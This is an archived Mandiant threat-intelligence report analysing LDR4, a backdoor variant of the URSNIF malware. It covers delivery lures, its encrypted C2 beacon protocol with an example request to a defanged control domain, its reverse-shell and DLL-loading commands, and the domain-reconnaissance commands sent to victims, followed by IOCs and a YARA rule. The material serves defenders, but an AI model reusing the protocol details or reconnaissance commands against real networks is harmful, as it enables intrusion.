{
	"id": "4459b288-9ac0-4a34-9ef5-4326095e204c",
	"created_at": "2026-04-06T00:17:38.060941Z",
	"updated_at": "2026-04-10T03:20:25.248301Z",
	"deleted_at": null,
	"sha1_hash": "898e80c9f180e02ab10bbad4981246ee4766a056",
	"title": "From RM3 to LDR4: URSNIF Leaves Banking Fraud Behind | Mandiant",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 3479079,
	"plain_text": "From RM3 to LDR4: URSNIF Leaves Banking Fraud Behind |\r\nMandiant\r\nBy Mandiant\r\nPublished: 2022-10-19 · Archived: 2026-04-05 14:16:48 UTC\r\nWritten by: Sandor Nemes, Sulian Lebegue, Jessa Valdez\r\nA new variant of the URSNIF malware, first observed in June 2022, marks an important milestone for the tool.\r\nUnlike previous iterations of URSNIF, this new variant, dubbed LDR4, is not a banker, but a generic backdoor\r\n(similar to the short-lived SAIGON variant), which may have been purposely built to enable operations like\r\nransomware and data theft extortion. This is a significant shift from the malware’s original purpose to enable\r\nbanking fraud, but is consistent with the broader threat landscape.\r\nMandiant believes that the same threat actors who operated the RM3 variant of URSNIF are likely behind LDR4.\r\nGiven the success and sophistication RM3 previously had, LDR4 could be a significantly dangerous variant—\r\ncapable of distributing ransomware—that should be watched closely.\r\nBrief History\r\nBeing one of the oldest banking malware families still active today, it is no surprise that there is a long and\r\nadventurous history behind URSNIF (aka. Gozi or Gozi/ISFB), which is sometimes intertwined with other\r\nmalware families and variants. Its source code was leaked at least twice since the first major version appeared in\r\n2016, resulting in other variants, from which multiple are still in circulation today (e.g., IAP). This means neither\r\nGozi nor URSNIF is a single malware family, but more like a set of related siblings (usually called variants). Most\r\nresearchers today have standardized on the malware family name Gozi, but for mainly historical reasons, other\r\nresearchers and vendors—including Mandiant—still reference these variants as URSNIF (the older malware from\r\nwhich Gozi originated from back in the mid-2000s with Haxdoor) or even ISFB (which is technically the latest\r\nliving branch of this banking malware family). Just to make things clear, we use URSNIF (capitalized, according\r\nto Mandiant’s naming scheme) throughout this blog post when referring to the current variants that are still active\r\ntoday.\r\nIn recent years, multiple variants of URSNIF, based on ISFB, have been observed in the wild including:\r\nDreambot – One of the most successful variants\r\nIAP – The most actively developed and distributed ISFB branch with frequent malware campaigns coming\r\nfrom CUTWAIL and targeting Italy\r\nRM2 – Also widely known as GoziAT, started its activity years ago with the Chanitor malware (aka\r\nHancitor)\r\nRM3 – Due to its custom executable file format, it is the most sophisticated version to date, which has\r\nmostly impacted Oceania and UK since 2017\r\nhttps://www.mandiant.com/resources/blog/rm3-ldr4-ursnif-banking-fraud\r\nPage 1 of 19\n\nAs of writing this, our research indicates ISFB might be the last and only active branch of the infamous URSNIF\r\nbanking malware. Over the past three years, this banking malware has seen some interesting changes, which\r\nsuggest a major paradigm shift and that the entire project was redesigned.\r\nFigure 1: Genealogy of different URSNIF branches and variants\r\nFrom a malware developer’s perspective, it is a complicated task to provide updates for so many different projects\r\n(or forks in this case), which inevitably leads to dead-ends and mistakes. Mandiant believes that IAP 2.0 \u0026 RM2\r\nbuilds over version 2.50.000 and RM3 builds over version 3.00.700 focused on removing unnecessary features\r\nand merges all forks and development branches into a single main branch. Some of the notable changes intended\r\nto support this unification effort include\r\nThe RSA public key is now encrypted with a very specific embedded decryption key, and this has been\r\nprogressively pushed into all variants\r\nAES encryption replaced the older Serpent encryption\r\nMerging and simplification of fields in the beacon requests\r\nThe year 2020 was highly unsuccessful for the RM3 variant, with decreasing reliable distributions and multiple\r\nbackends that collapsed (mostly in Europe). Furthermore, this specific variant failed to take the opportunity to\r\ngrow its popularity to obtain market share with the disruption of TRICKBOT and EMOTET. One of the greatest\r\nwinners of this was the ICEDID malware family, which managed to leverage the shrinking competition on the\r\nbanking malware landscape, putting RM3 into a difficult situation. It was extremely unusual for URSNIF’s ISFB\r\nvariant to not receive any updates after June 2020, thus some researchers hypothesized that the only way for this\r\nbanking malware to return was to do some major refurbishing on its code. In June 2022, with Internet Explorer\r\nfinally being fully removed from Microsoft Windows, the RM3 variant was officially seen as a “dead” malware\r\nfrom a technical point of view, as RM3 was reliant on this browser for some of its critical network\r\ncommunication.\r\nDistribution\r\nhttps://www.mandiant.com/resources/blog/rm3-ldr4-ursnif-banking-fraud\r\nPage 2 of 19\n\nMandiant first observed LDR4 in the wild on June 23, 2022, via a recruitment related lure, resembling RM3’s\r\ndistribution reported back in April 2021 (Figure 2). The email contains a link to a compromised website that\r\nredirects to a domain masquerading as a legitimate company (Figure 3). A CAPTCHA challenge is presented to\r\ndownload an Excel document purported to contain information related to the email lure (Figure 4 and Figure 5).\r\nThis document then downloads and executes the LDR4 payload. A similar chain leading to LDR4 was later\r\nobserved but with a lure pertaining to an accounting software instead (Figure 6).\r\nIn addition to HR/recruitment, Mandiant also observed RM3 in the more conventional payment/invoice lures that\r\nleverage XLM 4.0 macros in Excel document attachments to download the payload. In April 2022, we observed\r\nits last distribution via UNC2420 as a downloaded payload of the MOTEISLAND document. Mandiant tracks\r\nUNC2420 as a distribution threat cluster that uses malicious Microsoft Word documents as attachments in\r\ncampaigns using subjects that appear to be replies to legitimate email chains.\r\nFigure 2: Email lure for URSNIF (RM3) in April 2021\r\nhttps://www.mandiant.com/resources/blog/rm3-ldr4-ursnif-banking-fraud\r\nPage 3 of 19\n\nFigure 3: Email lure for URSNIF (LDR4) on June 23, 2022\r\nFigure 4: June 2022, CAPTCHA page for the Excel document download\r\nhttps://www.mandiant.com/resources/blog/rm3-ldr4-ursnif-banking-fraud\r\nPage 4 of 19\n\nFigure 5: Excel document downloader for URSNIF (LDR4) on June 24, 2022\r\nFigure 6: Email lure for URSNIF (LDR4) on June 24, 2022\r\nStatic Analysis\r\nThe LDR4 variant appears as a DLL module on the infected computer, which is invoked via the DllRegisterServer\r\nfunction, but there are often other randomly named decoy functions exported to confuse sandboxes. Some of the\r\nbinaries were using valid code-signing certificates (e.g., NAILS UNLIMITED LIMITED and ANGOSTONE\r\nhttps://www.mandiant.com/resources/blog/rm3-ldr4-ursnif-banking-fraud\r\nPage 5 of 19\n\nGROUP LTD LIMITED). The binaries can have either a 32-bit or 64-bit architecture and are packed with various\r\nPE crypters. One of the crypters, tracked by Mandiant as SPELLBOOK, has an interesting property that it leaves\r\nthe signature “|SPL|” in memory after unpacking the core malware. We identified overlaps in the usage of this\r\ncrypter between URSNIF LDR4 and SNOWCONE.GZIPLOADER (ICEDID’s loader component). The unpacked\r\ncore for the analyzed URSNIF LDR4 sample has the internal name LOADER.dll.\r\nURSNIF LDR4 is a mix of code refactoring, regressions and interesting simplification strategies.\r\nFigure 7: IAP/RM3/LDR4 payload structures\r\nWe made the following major observations:\r\n1. The PX era is now over.\r\nThe LDR4 variant no longer uses the custom PX executable format, that was first introduced by the RM3\r\nvariant. We believe this choice was made to avoid overcomplicating the troubleshooting of software issues.\r\nFrom a developer’s point of view, spending more time that is supposed into some superficial layer of issues\r\nand refocusing into more important pipelines of requested features are crucial for your reputation. Equally\r\nimportant, given the notoriety of the PX format among analysts and AV/EDR products, it was only a matter\r\nof time for that path to come to an end. From the attacker’s perspective, investing in a product that\r\neveryone knows how to detect, is not a very efficient use of resources, so going back to the roots with a\r\nclassic PE format is in fact a rational choice on their side.\r\nhttps://www.mandiant.com/resources/blog/rm3-ldr4-ursnif-banking-fraud\r\nPage 6 of 19\n\n2. FJ.exe gone or reworked?\r\nSince the beginning of ISFB, a steganography tool called FJ.exe (File Joiner) is used for hiding multiple\r\nfiles into a single payload. This one isn’t unique to ISFB but forked from another notorious banking\r\nmalware called CARBERP. By comparing the code of those two, there are no doubts this same program is\r\nused in both.\r\nFigure 8: ISFB FJ.exe overlapping code with CARBERP FJ.cpp\r\nMalware\r\nFamily\r\nPDB Path / Project Path\r\nCarberp bootkit.old/FJ/\r\nISFB\r\nd:\\work\\projects\\bk2\\bin\\release\\i386\\FJ.pdb (The bk2 project name in the file path stands\r\nfor “Bootkit v2”)\r\nFJ.exe is the tool responsible for creating the JJ, J1, J2, or WD fields on URSNIF payloads based on the variant.\r\nBut in LDR4 those magic bytes are missing, and the hidden files usually hardcoded at the end of the payload are\r\nnow gone.\r\nLDR4 is a backdoor.\r\nURSNIF is the latest malware following the same path that EMOTET and TRICKBOT did before, by\r\nfocusing into a new strategy and leaving behind its banking fraud legacy. LDR4 is the proof of that\r\nstatement by removing all its banking malware features and modules and only focusing into getting VNC\r\nand/or remote shell into the compromised machine.\r\nObfuscation\r\nhttps://www.mandiant.com/resources/blog/rm3-ldr4-ursnif-banking-fraud\r\nPage 7 of 19\n\nIt is a common practice in offensive software operations to apply some sort of obfuscation to the code itself or at\r\nleast to API calls to thwart analysis efforts. URSNIF historically did not use this (except for the outermost crypter\r\nlayer used for AV evasion). However, this new LDR4 variant incorporated obfuscation for the Windows API calls.\r\nFirst, it builds a hash lookup table from the export names and addresses of the Windows modules used by the\r\nmalware (kernel32, ntdll, crypt32, advapi32, ws2_32), that maps the JAMCRC32 checksum (JAMCRC32 is the\r\nmodification of the regular CRC32 algorithm, where all the bits of the final checksum are flipped) of the function\r\nnames to their respective virtual addresses in memory. Later in the code, any invocation to the Windows API\r\nfunctions will just look up the checksum value in the table to quickly retrieve the function address. Apart from\r\nthis, no further code obfuscation is leveraged in the compiled binaries, making LDR4 a relatively easy family to\r\nreverse engineer.\r\nBehavior\r\nOne of the most noticeable things during analysis was that the developers had simplified and cleaned up various\r\nparts of the code, compared to previous variants. Most notably, its banking features were totally scrapped.\r\nThe malware first locates the .bss section in the executable, and decrypts it using a simple XOR-based algorithm.\r\nThis is performed with a key that is constructed of the PE Timestamp, and the section’s PointerToRawData and\r\nSizeOfRawData fields. To ensure that the decryption was successful, it calculates a checksum on part of the\r\ndecrypted data, which must match the checksum of the UTF-16 encoded string \"All rights reserved.\". This\r\nchecksum will be used in later operations as a XOR key (similar to the XOR cookie value used in leaked source\r\ncode, which refers to this value as CsCookie).\r\nNext, it gathers a list of system services by enumerating the subkeys under the registry key\r\nHKLM\\SYSTEM\\CurrentControlSet\\Control, and it generates two separate IDs: a System ID, which is derived\r\nfrom the creation date of pagefile.sys or hiberfil.sys – which is exactly the way how the RM3 and SAIGON\r\nvariants did it; and a User ID, which is simply the MD5 hash of the current user’s username.\r\nTo ensure that only one instance of the malware is active at a time, it creates a mutex with a randomized name,\r\nwhere the System ID created in the previous step is used as a random seed value. Then the decrypted\r\nconfiguration (from the .bss section) is validated to see if it contains both the required bot configuration and an\r\nRSA public key that is used for decrypting data from the command and control (C2) servers. This is followed by\r\nlaunching the main communication thread via the QueueUserAPC () function.\r\nThe main communication loop retrieves the C2 server information from the embedded bot config.\r\nIf the IdleTime option is present in the configuration, then the code waits for this many seconds before\r\nstarting communication with the servers.\r\nIf the RunCommand option is present, its value is executed in a separate thread with the output of the\r\ncommand redirected to a temporary file. All the binaries we encountered contained two embedded\r\ncommands: “echo Commands” and “dir”.\r\nThe C2 servers are contacted one by one trying to download the file TASK.BIN which contains a list of commands\r\nto perform. The list of potential commands is detailed in the Capabilities section.\r\nhttps://www.mandiant.com/resources/blog/rm3-ldr4-ursnif-banking-fraud\r\nPage 8 of 19\n\nNetwork Communication\r\nThe communication protocol used by LDR4 does not differ too much from the protocol used by the older RM3\r\nvariant. It uses POST requests over HTTPS, with beacon URLs ending in /index.html. The User Agent string\r\ndepends on the exact Windows version and architecture with the following format:\r\nMozilla/5.0 (Windows NT %d.%d; %s) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36\r\nThe use of an outdated Chrome version in the User Agent string provides a good detection opportunity in\r\nenvironments where a proxy server oversees outbound HTTP/HTTPS connections, and can block or alert based on\r\nthe User Agent string.\r\nThe beacon request’s query string uses the following format (which is almost the same as RM3’s beacon format):\r\nversion=%u\u0026user=%s\u0026group=%u\u0026system=%s\u0026file=%08x\u0026arc=%u\u0026crc=%08x\u0026size=%u\r\nThe meaning of the parameters is detailed in the following table:\r\nParameter Name Description\r\nversion Bot version, e.g., “100123” (1.00.123)\r\nuser User ID\r\ngroup Botnet ID\r\nsystem System ID\r\nfile File ID (the JAMCRC32 checksum of the uppercase filename)\r\narc File architecture (0 – x86, 1 – x64)\r\ncrc File checksum (only if it was downloaded before, otherwise 0)\r\nsize File size (only if it was downloaded before, otherwise 0)\r\nA fake parameter consisting of a random name and value is prepended to the aforementioned query string, every\r\ntime a request is made, then the entire request string is encrypted using AES-256 in CBC mode, with an embedded\r\nkey (see ServerKey in the Configuration section) and an initialization vector (IV) consisting of sixteen “0”\r\ncharacters, then encoded using Base64 (any ending “=” characters are stripped from the end of the encoded\r\nstring), and then sent as the payload of a POST request.\r\nExample query string of an initial beacon (file ID 0x8fd8a91e corresponds to the filename TASK.BIN):\r\nclypnrkl=wsktexbmn\u0026version=100123\u0026user=f2472a25a2e15c3d\u0026group=202208152\u0026system=18245c7ff14d7902\u0026file=8fd8a91e\u0026a\r\nhttps://www.mandiant.com/resources/blog/rm3-ldr4-ursnif-banking-fraud\r\nPage 9 of 19\n\nExample query string for subsequent beacons (existing TASK.BIN size is 320 bytes, and the checksum of its\r\ncontents is 0x3e3edc47):\r\nchjm=kckhu\u0026version=100123\u0026user=f2472a25a2e15c3d\u0026group=202208152\u0026system=18245c7ff14d7902file=8fd8a91e\u0026arc=0\u0026crc=\r\nExample network beacon (with the request string encrypted with AES, and encoded as Base64):\r\nPOST /index.html\r\nHost: logotep[.]xyz\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nPragma: no-cache\r\nContent-Type: multipart/form-data; boundary=9808fdecfe274c1d\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66\r\nContent-Length: 285\r\n--9808fdecfe274c1d\r\nContent-Disposition: form-data; name=\"rcgmbh\"\r\nQgrHabeBs9/vsorhqEP2jV88dSwmgvyxepEZczkNSFXt89yV2nH9/7A5QYcIslSIoimlOmGG53oykoFVIfc\r\nrge6eCwchr62tLGsho13OHolmwJBYFYH0+sxqa1AH8qV4CEjKX+UwyioMNnv0QlW9pagvAc6JMo1JoTHjrq\r\naci07r/dByQSndma/MhZU1aIrI\r\n--9808fdecfe274c1d--\r\nAll of the control servers that we identified used domain names consisting of 5-10 letters, were registered under\r\nthe .xyz, .cyou or .com top-level domains, and used Let’s Encrypt TLS certificates. The domain names are\r\nregistered with Namecheap, and the infrastructure is hosted at a company named Stark Industries Solutions Ltd.,\r\nregistered in the UK in February 2022. This company is listed on the website for Perfect Quality Hosting (aka. PQ\r\nHosting).\r\nConfiguration\r\nAs mentioned, in the LDR4 variant of URSNIF, the configuration storage was significantly reworked. Previous\r\nURSNIF variants used magic markers to locate additional files that were embedded into the binary, called joined\r\nfiles. The magic markers varied between different URSNIF variants, i.e. JF, JJ, J1, J2, or WD.\r\nThis new LDR4 variant introduces a new data structure for storing joined files, which are now merged with the\r\nstrings in the encrypted .bss section.\r\nhttps://www.mandiant.com/resources/blog/rm3-ldr4-ursnif-banking-fraud\r\nPage 10 of 19\n\nFigure 9: LDR4 decrypted .bss section structure\r\nThe data structure has an 8-byte header, and has the following fields:\r\nData Size\r\nField\r\nName\r\nDescription\r\n2 bytes NextOffset\r\nThe offset to the next element in the linked list, if zero, then no more\r\nelements\r\n2 bytes ItemSize The size of the data in bytes in the ItemValue field\r\n4 bytes ItemID\r\nA value that uniquely identifier the item, this is usually the JAMCRC32 hash\r\nof the item name\r\nItemSize\r\nbytes\r\nItemValue The value of the current element\r\nThere are two joined files that must always be present, otherwise the malware will not operate: the bot\r\nconfiguration, and the RSA public key that is used to decrypt and verify responses from the command server. Like\r\nin other URSNIF variants, the configuration options are identified by a hexadecimal number, which is the\r\nhttps://www.mandiant.com/resources/blog/rm3-ldr4-ursnif-banking-fraud\r\nPage 11 of 19\n\nJAMCRC32 checksum of the option’s uppercase name. Note, that the name of the option is not referenced\r\nanywhere in the binary or in the configuration, and it is only possible to find it out by brute-forcing the checksum.\r\nList of currently known configuration options:\r\nOption ID Option Name Description\r\n0xb892845a Controller List of C2 URLs used for communication (whitespace separated)\r\n0x656b798a Group Botnet ID\r\n0x4fa8693e ServerKey AES key used for communicating with the C2\r\n0x8c871ff9 IdleTime Number of seconds to wait before the initial request to the C2\r\n0x9d29ade4 RequestTime Number of seconds between beacon requests to the C2\r\n0xf76f421a HostKeepTime\r\nIn case of communication failures, the number of minutes to wait before\r\ntrying the next C2 server\r\n0x08b2f0fb HostShiftTime\r\nIn case of successful communication, the number of minutes to wait before\r\nswitching to the next C2 server\r\n0x89a5deaa RunCommand Embedded initial command list to execute upon startup\r\n0x303378c6   Unknown timeout parameter, probably unused as of now\r\nCapabilities\r\nThe following commands are implemented in the malware:\r\nCommand ID Command Name Description\r\n0xf880e2be LOAD_DLL Load a DLL module into the current process\r\n0xfee861f1 SHELL_STATE Retrieve the state of the cmd.exe reverse shell\r\n0xc202e685 SHELL_START Start the cmd.exe reverse shell\r\n0xa5946e4a SHELL_STOP Stop the cmd.exe reverse shell\r\n0xa04d6355 SHELL_RESTART Restart the cmd.exe reverse shell\r\n0x5d2295b5 RUN_COMMAND Run an arbitrary command\r\nhttps://www.mandiant.com/resources/blog/rm3-ldr4-ursnif-banking-fraud\r\nPage 12 of 19\n\n0x5d639645 EXIT Terminate\r\nThe two most common commands that we have observed sent out to new victims are related to network\r\nreconnaissance:\r\nRUN_COMMAND=net group \"domain computers\" /domain\r\nRUN_COMMAND=net session\r\nThe same two commands were also observed from the RM3 variant of URSNIF in the past, which is another\r\nbehavioral trait that proves the connection between the two variants.\r\nCommand Shell\r\nThe built-in command shell functionality provides a reverse shell that connects to a remote IP address and gives\r\nthe attackers the ability to execute system commands via the cmd.exe program. This functionality is almost an\r\nexact copy to what the RM3 variant provided via its separate cmdshell.dll plugin. The remote IP address and port\r\nnumber to connect to is provided at run time, as an argument to the SHELL_START command. This functionality\r\ngives the attackers the ability to perform hands-on-keyboard attacks, perform further host and network\r\nreconnaissance, and do lateral movement.\r\nPlugins\r\nPrevious URSNIF variants had a feature that allowed the capabilities of the malware to be extended with various\r\nplugins loaded via the LOAD_PLUGIN command, which was not implemented in the URSNIF LDR4 binary we\r\nanalyzed. However, we have observed at least one occasion where a VNC module was downloaded via the\r\nLOAD_DLL command. The LOAD_DLL command thus allows for a simpler, more generic way of providing a\r\nplugin-like feature by extending the features of the malware via arbitrary DLL modules (in contrast to regular\r\nplugin DLLs, which must be implemented in a specific way to work with the main malware). Interestingly, the\r\nVNC module still uses an older way of storing its embedded configuration (using the J1 magic bytes), so it is\r\npossible that it was originally compiled for a different URSNIF variant (likely for IAP 2.0).\r\nFilename vnc64_1.dll\r\nInternal name VncDLL.dll\r\nMD5 hash bd4a92d4577ddedeb462a71cdf2fa934\r\nPE timestamp Tue Sep 14 19:32:19 2021\r\nhttps://www.mandiant.com/resources/blog/rm3-ldr4-ursnif-banking-fraud\r\nPage 13 of 19\n\nEmbedded VNC C2 141[.]98.169.6:80\r\nVNC module\r\nAttribution\r\nSome of the LDR4 control servers are configured to leak detailed error messages and file paths, and the file paths\r\nindicate that the bot panel is installed into the home directory of the user expro with the directory\r\nname www_loader_ldl (Figure 10).\r\nFigure 10: Error message from the C2 server revealing the expro home directory\r\nThis supports our current understanding that expro is the nickname of the web developer responsible for the bot\r\npanel for both the RM3 and LDR4 variants.\r\nImplications\r\nThe demise of the RM3 variant earlier this year, and the author’s decisions to make heavy simplifications to their\r\ncode, including the removal of all banking related features, point toward a drastic change in their previously\r\nobserved TTPs. These shifts may reflect the threat actors’ increased focus towards participating in or enabling\r\nransomware operations in the future. This assessment is further supported by the fact that Mandiant identified an\r\nactor operating in underground communities seeking partners to distribute a new ransomware and the URSNIF\r\nRM3 variant, which is highly similar to the new LDR4 variant, since at least early 2022\r\nAcknowledgements\r\nhttps://www.mandiant.com/resources/blog/rm3-ldr4-ursnif-banking-fraud\r\nPage 14 of 19\n\nThe authors would like to thank Benoit Ancel for providing additional malware IOCs in relation to the LDR4\r\nvariant, and Cian Lynch for spotting the initial malware sample.\r\nAppendix A: Comparison with other recently active URSNIF variants\r\nIAP 2.0 RM3  LDR4 \r\nPersistence method \r\nScheduled task that\r\nexecutes code stored in\r\na registry key using\r\nPowerShell \r\nScheduled task that\r\nexecutes code stored in\r\na registry key using\r\nPowerShell \r\nNo persistence \r\nConfiguration storage \r\nSecurity PE directory\r\npoints to embedded\r\nbinary data starting with\r\n'JJ' magic bytes\r\nSecurity PE directory\r\npoints to embedded\r\nbinary data starting with\r\n'WD' magic bytes\r\nHidden into the\r\nencrypted .bss section \r\nPRNG algorithm   Various xorshift64*   Various\r\nChecksum algorithm \r\nJAMCRC (aka. CRC32\r\nwith all the bits flipped) \r\nJAMCRC (aka. CRC32\r\nwith all the bits flipped) \r\nJAMCRC (aka. CRC32\r\nwith all the bits flipped) \r\nData compression  aPLib  aPLib  No compression\r\nEncryption/Decryption \r\nOld versions:\r\nSerpent CBC New\r\nversions: AES-256 CBC\r\nOld versions:\r\nSerpent CBC New\r\nversions: AES-256 CBC\r\nAES-256 CBC \r\nData integrity\r\nverification \r\nRSA signature  RSA signature  RSA signature \r\nCommunication\r\nmethod \r\nHTTP GET/POST\r\nrequests \r\nHTTP GET/POST\r\nrequests \r\nHTTP POST requests \r\nhttps://www.mandiant.com/resources/blog/rm3-ldr4-ursnif-banking-fraud\r\nPage 15 of 19\n\nPayload encoding \r\nUnpadded Base64 ('+'\r\nand '/' are replaced with\r\n'_2B' and '_2F'\r\nrespectively), random\r\nslashes are added \r\nUnpadded Base64 ('+'\r\nand '/' are replaced with\r\n'_2B' and '_2F'\r\nrespectively), random\r\nslashes are added \r\nUnpadded Base64 ('+'\r\nand '/' are URL encoded\r\nas '%2B' and '%2F'\r\nrespectively), random\r\nslashes are NOT added \r\nUses URL path\r\nmimicking? \r\nNo Yes No\r\nUses PX file format?  No Yes No\r\nEmbedded commands\r\nin binary \r\nYes No Yes\r\nAppendix B: IOCs\r\nMalware sample hashes:\r\n360417f75090c962adb8021dbb478f67 [VT]\r\n3e0f28bcaf35af2802f45b58f49481be\r\n590d96a7be55240ad868ebec78ce38f2\r\n8c658b9b02814927124351484c42a272 [VT]\r\n9f68d1a4b33e3ace6215040dc9fc73e8 [VT]\r\nb4610d340a9bff58616543b10e961cd3\r\nbaa784967fd0558715f4011a72eb872e [VT]\r\nbd4a92d4577ddedeb462a71cdf2fa934\r\nbea60bab50d47f239132890a343ae84c [VT]\r\nd38f6f01bb926df07d34de0649f608f6 [VT]\r\nd6ef4778f7dc9c31a0a2a989ef42d2fd [VT]\r\nd94657449f8d8c165ef88fd93e463134 [VT]\r\neee617806c18710e8635615de6297834 [VT]\r\nf4b0a6ab164f7c58cccce651606caede [VT]\r\nMalware sample hashes (unpacked):\r\n00b981b4d3f47bcbd32dfa37f3b947e5 [VT]\r\n09bc2a1aefbafd3e7577bc3c352c82ad [VT]\r\n1b0ec09ca4cb7dcf5d59cea53e1b9c93\r\n3c5f002b46ef11700caca540dcc7c519\r\nhttps://www.mandiant.com/resources/blog/rm3-ldr4-ursnif-banking-fraud\r\nPage 16 of 19\n\n498d5e8551802e02fe4fa6cd0425c608\r\n58169007c2e7a0d022bc383f9b9476fe [VT]\r\n7808d22a4343b2617ceef63fd0d43651\r\n7eea48e592c4bccbfa3929b1b35a7c0b\r\n89b4dd18bea842fddd021aa74d109ec3\r\na3539bc682f39406c050e5233058c930 [VT]\r\nac39f1a22538f0211204037cce30431d\r\nc1989d25287cd9044b4d936e73962e35\r\nc7facfffad15a9c84239b495770183bb\r\ncde05576e7c48ca89d2f21c283a4a018 [VT]\r\nNetwork indicators (domains):\r\nastope[.]xyz\r\nbinchfog[.]xyz\r\ndamnater[.]com\r\ndaydayvin[.]xyz\r\ndodsman[.]com\r\ndodstep[.]cyou\r\nfineg[.]xyz\r\nfingerpin[.]cyou\r\nfishenddog[.]xyz\r\ngiantos[.]xyz\r\ngigeram[.]com\r\ngigiman[.]xyz\r\ngigimas[.]xyz\r\nhigmon[.]cyou\r\nisteros[.]com\r\nkidup[.]xyz\r\nlionnik[.]xyz\r\nlogotep[.]xyz\r\nmainwog[.]xyz\r\nmamount[.]cyou\r\nminotos[.]xyz\r\npinki[.]cyou\r\npipap[.]xyz\r\nprises[.]cyou\r\nreaso[.]xyz\r\nrorfog[.]com\r\ntornton[.]xyz\r\nvavilgo[.]xyz\r\nNetwork indicators (IP addresses):\r\nhttps://www.mandiant.com/resources/blog/rm3-ldr4-ursnif-banking-fraud\r\nPage 17 of 19\n\n5[.]182.36.248 (CH) – ISP: STARK INDUSTRIES SOLUTIONS LTD (GB)\r\n5[.]182.37.136 (RU) – ISP: STARK INDUSTRIES SOLUTIONS LTD (GB)\r\n5[.]182.38.43 (HU) – ISP: STARK INDUSTRIES SOLUTIONS LTD (GB)\r\n5[.]182.38.68 (HU) – ISP: STARK INDUSTRIES SOLUTIONS LTD (GB)\r\n5[.]252.23.238 (SK) – ISP: STARK INDUSTRIES SOLUTIONS LTD (GB)\r\n45[.]8.147.179 (SE) – ISP: STARK INDUSTRIES SOLUTIONS LTD (GB)\r\n45[.]8.147.215 (SE) – ISP: STARK INDUSTRIES SOLUTIONS LTD (GB)\r\n45[.]67.34.75 (RO) – ISP: STARK INDUSTRIES SOLUTIONS LTD (GB)\r\n45[.]67.34.172 (RO) – ISP: STARK INDUSTRIES SOLUTIONS LTD (GB)\r\n45[.]67.34.245 (RO) – ISP: STARK INDUSTRIES SOLUTIONS LTD (GB)\r\n45[.]67.229.39 (MD) – ISP: STARK INDUSTRIES SOLUTIONS LTD (GB)\r\n45[.]89.54.122 (SK) – ISP: STARK INDUSTRIES SOLUTIONS LTD (GB)\r\n45[.]89.54.152 (SK) – ISP: STARK INDUSTRIES SOLUTIONS LTD (GB)\r\n45[.]95.11.62 (SK) – ISP: STARK INDUSTRIES SOLUTIONS LTD (GB)\r\n45[.]140.146.241 (MD) – ISP: STARK INDUSTRIES SOLUTIONS LTD (GB)\r\n45[.]142.212.87 (MD) – ISP: STARK INDUSTRIES SOLUTIONS LTD (GB)\r\n45[.]150.67.4 (MD) – ISP: STARK INDUSTRIES SOLUTIONS LTD (GB)\r\n77[.]75.230.62 (CZ) – ISP: STARK INDUSTRIES SOLUTIONS LTD (GB)\r\n77[.]91.72.15 (HU) – ISP: STARK INDUSTRIES SOLUTIONS LTD (GB)\r\n94[.]131.100.71 (FI) – ISP: STARK INDUSTRIES SOLUTIONS LTD (GB)\r\n94[.]131.100.209 (FI) – ISP: STARK INDUSTRIES SOLUTIONS LTD (GB)\r\n94[.]131.106.8 (NL) – ISP: STARK INDUSTRIES SOLUTIONS LTD (GB)\r\n94[.]131.106.16 (NL) – ISP: STARK INDUSTRIES SOLUTIONS LTD (GB)\r\n94[.]131.107.13 (NL) – ISP: STARK INDUSTRIES SOLUTIONS LTD (GB)\r\n94[.]131.107.132 (NL) – ISP: STARK INDUSTRIES SOLUTIONS LTD (GB)\r\n94[.]131.107.252 (NL) – ISP: STARK INDUSTRIES SOLUTIONS LTD (GB)\r\n141[.]98.169.6 (FI) – ISP: STARK INDUSTRIES SOLUTIONS LTD (GB)\r\n185[.]250.148.35 (MD) – ISP: STARK INDUSTRIES SOLUTIONS LTD (GB)\r\n188[.]119.112.104 (NL) – ISP: STARK INDUSTRIES SOLUTIONS LTD (GB)\r\n193[.]38.54.157 (NL) – ISP: STARK INDUSTRIES SOLUTIONS LTD (GB)\r\nUser Agent strings:\r\nMozilla/5.0 (Windows NT \u003cos_version\u003e; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)\r\nChrome/87.0.4280.66 Safari/537.36\r\nMozilla/5.0 (Windows NT \u003cos_version\u003e; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)\r\nChrome/87.0.4280.66 Safari/537.36\r\nAppendix C: YARA rule\r\nThe following YARA rule is not intended to be used on production systems or to inform blocking rules without\r\nfirst being validated through an organization's own internal testing processes to ensure appropriate performance\r\nhttps://www.mandiant.com/resources/blog/rm3-ldr4-ursnif-banking-fraud\r\nPage 18 of 19\n\nand limit the risk of false positives. This rule is intended to serve as a starting point for hunting efforts to identify\r\nnew LDR4 samples; however, it may need adjustment over time if the malware family changes.\r\nrule URSNIF_LDR4 {\r\n strings:\r\n $str1 = \"LOADER.dll\" fullword\r\n $str2 = \"DllRegisterServer\" fullword\r\n $str3 = \".bss\" fullword\r\n $x64_code1 = { 3D 2E 62 73 73 74 0A 48 83 C7 28 }\r\n $x64_code2 = { 8B 17 48 83 C7 04 8B CA 8b C2 23 CB 0B C3 F7 D1 23 C8 41 2B CA 44 8B D2 41 89 08 41 8B CB\r\n $x64_code3 = { 41 0F B6 01 49 FF C1 8B C8 8B D0 83 E1 03 C1 E1 03 D3 E2 44 03 C2 41 83 C2 FF 75 }\r\n $x64_code4 = { 45 8D 45 08 48 8D 8C 24 [4] BA 30 00 FE 7F E8 }\r\n $x64_code5 = { 48 8D 8C 24 [4] BA 30 00 FE 7F 41 B8 08 00 00 00 E8 }\r\n $x86_code1 = { 81 F9 2E 62 73 73 74 09 83 C6 28 }\r\n $x86_code2 = { 8B 06 8B D0 23 55 0C 8B D8 0B 5D 0C F7 D2 23 D3 2B D1 8A 4D 08 80 E1 07 83 C6 04 89 17 83\r\n $x86_code3 = { 8A 0E 0F B6 D1 8B CA 83 E1 03 C1 E1 03 D3 E2 46 03 C2 4F 75 }\r\n $x86_code4 = { 6A 08 8D 45 F8 68 30 00 FE 7F 50 E8 }\r\n condition:\r\n 5 of them\r\n}\r\nPosted in\r\nThreat Intelligence\r\nSecurity \u0026 Identity\r\nSource: 